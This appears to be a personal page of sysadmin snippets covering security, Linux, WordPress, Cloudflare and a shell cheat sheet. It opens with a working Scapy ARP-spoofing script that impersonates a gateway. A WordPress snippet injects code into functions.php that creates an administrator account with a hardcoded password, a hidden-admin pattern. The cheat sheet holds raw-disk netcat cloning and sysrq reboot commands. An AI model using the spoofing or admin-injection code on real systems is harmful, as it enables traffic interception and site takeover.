Security

Simple ARP Poison Spoofing with Python

from scapy.all import *
import time

victim = "192.168.1.4"  # Victim IP
spoof = "192.168.1.1"     # Gateway IP
mac = "AA:BB:CC:DD:EE:FF" # Attacker MAC
arp = ARP(op=1, psrc=spoof, pdst=victim, hwdst=mac)
while 1:
    send(arp)
    time.sleep(2)

Integrity Files Checker

# Generate MD5 hash list for all files in a directory and save it to a file.
sudo find . -type f | while read file; do sudo md5sum "${file}" >> ~/md5check.log; done
# Check current list of MD5 with a file already generated.
sudo md5sum -c ~/md5check.log | grep FAILED

Generate Random Passwords with Python

def generate_password(length = 32):
    chars = string.ascii_letters + string.digits
    generated_password = ''
    for i in range(length):
        index = random.randrange(len(chars))
        generated_password += chars[index]
    return generated_password

Linux

DNS example for /etc/resolv.conf

# Google
nameserver 8.8.8.8
nameserver 8.8.4.4
# OpenDNS
nameserver 208.67.222.222
nameserver 208.67.220.220

DNS checker with Python

apt-get install python-dev python-pip
pip install dnsknife
import dnsknife
print dnsknife.Checker('cojo.eu').mx() # MX
print dnsknife.Checker('cojo.eu').spf() # SPF
print dnsknife.Checker('cojo.eu').txt('@') # SPF
print dnsknife.Checker('cojo.eu').txt('_dmarc') # DMARC
print dnsknife.Checker('cojo.eu').txt('google._domainkey') # DKIM Google
print dnsknife.Checker('cojo.eu').txt('smtp._domainkey.wpmail') # DKIM Mailgun

SSH Proxy for Servers

  • Generate a new key:
ssh-keygen -b 4096 -N ''
  • ~/.ssh/config
Host bastion
       	HostName <bastion_ip>
       	Port 3222
        User root
       	IdentityFile ~/.ssh/id_rsa
       	ProxyCommand ssh final_server -W %h:%p
Host final_server
       	HostName <final_server_ip>
       	User root
       	IdentityFile ~/.ssh/id_rsa

nginx proxy

server {
  listen 80;
  server_name example.com;
  access_log /srv/logs/app-access.log;
  error_log /srv/logs/app-error.log;
  location / {
    # In case you want to protect the your application very simple with a custom header.
    # Without this header nginx won't do nothing.
    if ($http_Protect != "jPIuGbawvne19opcxiq") {
      return 200 "nothing here";
    }
    # It's better to define a variable, otherwise nginx will not work in case that specific host is down - in this case is 127.0.0.1, but can be a different one.
    set $admin 127.0.0.1;
    proxy_pass       http://$admin:8000;
    proxy_set_header Host            $host;
    proxy_set_header X-Forwarded-For $remote_addr;
  }
}

WordPress

Migrate a WordPress website from CLI to cPanel with FTP

# Install WordPress on the new server and create a new FTP account
# Install ncftpput on the old server
yum install ncftpput
# Copy wp-content to root directory for that specific ftp user account.
ncftpput -R -v -u "[email protected]" <NEW_Server_IP> / wp-content
# Backup and upload the database from old server to the new one

Show Custom Files for a WordPress Directory

ls */www | grep -v ".git\|.gitignore\|wp-includes\|wp-admin\|index.php\|wp-activate.php\|wp-blog-header.php\|wp-comments-post.php\|wp-cron.php\|wp-links-opml.php\|wp-load.php\|wp-login.php\|wp-mail.php\|wp-settings.php\|wp-signup.php\|wp-trackback.php\|xmlrpc.php\|license.txt\|readme.html\|wp-config.php\|wp-config-sample.php\|wp-content"

Create new use in WordPress with PHP

  • Add the next code in the current theme in functions.php file.
  • Refresh the website to execute the code and you can use your new user after that.
add_action('init', 'add_my_user');
function add_my_user() {
    $username = 'admin_new';
    $email = '[email protected]';
    $password = 'Password12345';
    $user_id = username_exists( $username );
    if ( !$user_id && email_exists($email) == false ) {
        $user_id = wp_create_user( $username, $password, $email );
        if( !is_wp_error($user_id) ) {
            $user = get_user_by( 'id', $user_id );
            $user->set_role( 'administrator' );
        }
    }
}

Automation

Cloudflare: Get statistics from Cloudflare API

from pyflare import PyflareClient

cf = PyflareClient('<EMAIL>', '<TOKEN>')
data = cf.zone_load_multi()
total = 0
if data['result'] == 'success':
    for zone in data['response']['zones']['objs']:
        domain = zone['zone_name']
        # DAYS: 365 = 10 | 30 = 20 | 7 = 30 | 1 = 40
        # HOURS: 24 = 100 | 12 = 110 | 6 = 120
        INTERVAL = 20
        data = cf.stats(domain, INTERVAL)
        requests = data['response']['result']['objs'][0]['requestsServed']['cloudflare']
        print("{domain} - {requests}".format(domain=domain, requests=requests))
        total += requests
print('Total: {total}'.format(total=total))

Cloudflare: Add records to the Cloudflare DNS with API

cf = PyflareClient('<EMAIL>', '<TOKEN>')
cf_domain = "example.com."
cf.rec_new(cf_domain, 'TXT', domain_mailgun, 'v=spf1 include:_spf.google.com ~all')
cf.rec_new(cf_domain, 'SPF', domain_mailgun, 'v=spf1 include:_spf.google.com ~all')

Cheat Sheet

# Decompress a gif image to frames. imagemagick is required.
convert -coalesce "${1}" "${1}".frames/frame.png
# Create a movie for git history and save it as mp4.
gource -s 0.5 -a 1 ./ -1080x720 -o - | ffmpeg -y -r 30 -f image2pipe -vcodec ppm -i - -vcodec libx264 -preset ultrafast -pix_fmt yuv420p -crf 1 -threads 0 -bf 0 gource.mp4
# See DNS requests with tcpdump
tcpdump -i en0 -l -n -e port 53 | awk '{if ($14 == "A?") print $15}'
=========
# Find modified files in last 7 days: `find . -mtime -7 -print`
# Create file with fixed size: `fallocate -l 1G test.rar`
# Test Disk Speed: `hdparm -Tt /dev/sda`
# Local Wireshark with traffic from server
    ssh HOST 'sudo tcpdump -U -s0 -w - "not port 22"' | wireshark -k -i -
# Create simple wrapper to view execution of script
    strace -e trace=execve -vfo /tmp/strace_execute.log -s 4096 vzctlb [email protected]
# IRC Server: `apt-get install ircd-irc2 irssi`
# 1 - Delete default route: `route del default gw 10.10.101.1 eth0`
# 2 - Add new default route: `route add default gw 10.10.100.1 eth1`

# Speed Python: `python -m cProfile -o report -s calls script.py`
# Check report
    import pstats
    p = pstats.Stats('report')
    p.strip_dirs().sort_stats('calls').print_stats()

# This command will show you the list of IP’s which have logged in is maximum number of connections to your server.
    netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
# Clone disk over network
  sudo nc -l -p 80 | dd of=/dev/sda bs=16M  # First PC (Source)
  sudo dd if=/dev/sda | nc IP_SOURCE 80     # Another PC (Destination)
# grant db: `grant all privileges on x.* to [email protected] identified by 'pass';flush privileges;`
# Wine: sudo apt install wine mono-devel mono-complete winetricks && msiexec -i file.exe

# Add exif information for SEO image
exiftool -Comment='x' -Keywords='x' -Copyright='x' imagine.jpg

# Create/Update htpasswd
htpasswd -c FILE USER
htpasswd FILE USER
# Mount a folder in OSX
brew install sshfs
sudo sshfs server:/mnt /Volumes/server
# Reboot: echo 1 > /proc/sys/kernel/sysrq | echo b > /proc/sysrq-trigger
# Shutdown: echo o > /proc/sysrq-trigger
# Simple mail alert
EMAIL="text"
HEADERS="From: [email protected]\r\nTo: ${EMAIL}\r\nSubject: Security Alert!\r\n\r\n"
test $(ps aux | grep trojan | wc -l) -gt 1 && $(echo -e "${HEADERS}" "Security Alert!" | sendmail "${EMAIL}")